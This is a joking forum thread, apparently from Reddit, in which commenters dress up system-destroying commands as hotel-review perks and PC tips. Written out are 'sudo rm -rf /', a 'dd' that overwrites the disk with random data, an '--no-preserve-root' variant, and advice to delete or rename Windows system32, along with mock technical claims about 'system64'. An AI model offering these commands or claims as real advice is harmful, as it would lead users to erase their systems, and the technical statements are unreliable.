    We need to start posting this everywhere else too.

    This hotel is in a great location and the rooms are super large and really clean. And the best part is, if you sudo rm -rf / you can get a free drink at the bar. Five stars.

      Sometime that code will expire and you need to alternate to sudo dd if=/dev/urandom of=/dev/sda bs=4M. Works most of the time for me.

        Didn’t work for me. Had to add && sudo reboot

        I love this, but it must take forever to overwrite an entire drive w/random data. You’re essentially running DBAN at that point, no?

          Hmm I guess for optimum performance, best practice would be to sudo rm -rf --no-preserve-root /; sudo fstrim -av; sudo reboot

            Indeed. We don’t want to preserve the “Radically Overused Obsolete Term” Database

      Gotta cater more to windows, where the idiots that would actually run this crap reside.

        You can get great discounts if you delete system32 from your PC.

          You should rename it to system25 since 32 is from 1932.

            Should rename it to system64 if you’re running a 64 bit operating system. Keeping it as system32 only allows you to access 32 bits, and slows down your computer.

              But I want my computer in 1 piece, not 32 or even 64 bits?
